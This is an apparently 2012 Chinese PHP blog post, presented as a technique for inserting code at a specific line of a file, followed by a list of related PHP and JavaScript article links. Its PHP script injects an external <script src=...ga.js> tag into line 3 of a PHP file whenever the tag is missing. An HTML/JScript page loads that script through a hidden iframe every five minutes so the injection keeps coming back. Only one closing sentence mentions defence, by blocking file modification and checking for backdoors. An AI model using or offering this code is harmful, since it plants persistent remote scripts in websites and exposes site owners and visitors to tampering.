php在文件指定行中写入代码的方法


Posted in PHP onMay 23, 2012
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
PHP 相关文章推荐
PHP分页显示制作详细讲解
Nov 19 PHP
PHP 加密与解密的斗争
Apr 17 PHP
ThinkPHP之R方法实例详解
Jun 20 PHP
PHP正则表达式替换站点关键字链接后空白的解决方法
Sep 16 PHP
谈谈 PHP7新增功能
Dec 16 PHP
php使用pear_smtp发送邮件
Apr 15 PHP
PHPCMS V9 添加二级导航的思路详解
Oct 20 PHP
php socket通信简单实现
Nov 18 PHP
php连接微软MSSQL(sql server)完全攻略
Nov 27 PHP
ThinkPHP实现图片上传操作的方法详解
May 08 PHP
在laravel5.2中实现点击用户头像更改头像的方法
Oct 14 PHP
PHP实现简单注册登录系统
Dec 28 PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
有关PHP中MVC的开发经验分享
May 17 #PHP
php的array_multisort()使用方法介绍
May 16 #PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
May 16 #PHP
You might like
Netflix将与CLAMP、乙一以及冲方丁等6名知名制作人合伙展开原创动画计划!
2020/03/06 日漫
实例详解PHP中html word 互转的方法
2016/01/28 PHP
php关闭warning问题的解决方法
2016/05/17 PHP
php获取当前url地址的方法小结
2017/01/10 PHP
关于PHP内置的字符串处理函数详解
2017/02/04 PHP
Mac系统下安装PHP Xdebug
2018/03/30 PHP
js wmp操作代码小结(音乐连播功能)
2008/11/08 Javascript
基于jquery的$.ajax async使用
2011/10/19 Javascript
jquery淡化版banner异步图片文字效果切换图片特效
2014/04/08 Javascript
Javascript仿PHP $_GET获取URL中的参数
2014/05/12 Javascript
nodeJS代码实现计算交社保是否合适
2015/03/09 NodeJs
node.js读取文件到字符串的方法
2015/06/29 Javascript
css如何让浮动元素水平居中
2015/08/07 Javascript
BootStrap tab选项卡使用小结
2020/08/09 Javascript
详谈js中window.location.search的用法和作用
2017/02/13 Javascript
MUI 解决动态列表页图片懒加载再次加载不成功的bug问题
2017/04/13 Javascript
微信小程序实现锚点定位楼层跳跃的实例
2017/05/18 Javascript
JavaScript刷新页面的几种方法总结
2019/03/28 Javascript
react 移动端实现列表左滑删除的示例代码
2019/07/04 Javascript
[51:06]DOTA2-DPC中国联赛 正赛 Elephant vs Aster BO3 第二场 1月26日
2021/03/11 DOTA
[01:48:04]DOTA2-DPC中国联赛 正赛 PSG.LGD vs Elephant BO3 第一场 2月7日
2021/03/11 DOTA
在GitHub Pages上使用Pelican搭建博客的教程
2015/04/25 Python
详解C++编程中一元运算符的重载
2016/01/19 Python
Python基于辗转相除法求解最大公约数的方法示例
2018/04/04 Python
python爬虫 urllib模块发起post请求过程解析
2019/08/20 Python
python+Django实现防止SQL注入的办法
2019/10/31 Python
Python求平面内点到直线距离的实现
2020/01/19 Python
Python基于正则表达式实现计算器功能
2020/07/13 Python
Python数据可视化常用4大绘图库原理详解
2020/10/23 Python
药品业务员岗位职责
2014/04/17 职场文书
见义勇为事迹材料
2014/12/24 职场文书
导游词开场白
2015/01/31 职场文书
2015年医院药剂科工作总结
2015/05/04 职场文书
工程项目合作意向书
2015/05/08 职场文书
Win11 21h2可以升级22h2吗?看看你的电脑符不符合要求
2022/07/07 数码科技
Win10鼠标宏怎么设置?win10系统鼠标宏的设置方法
2022/08/14 数码科技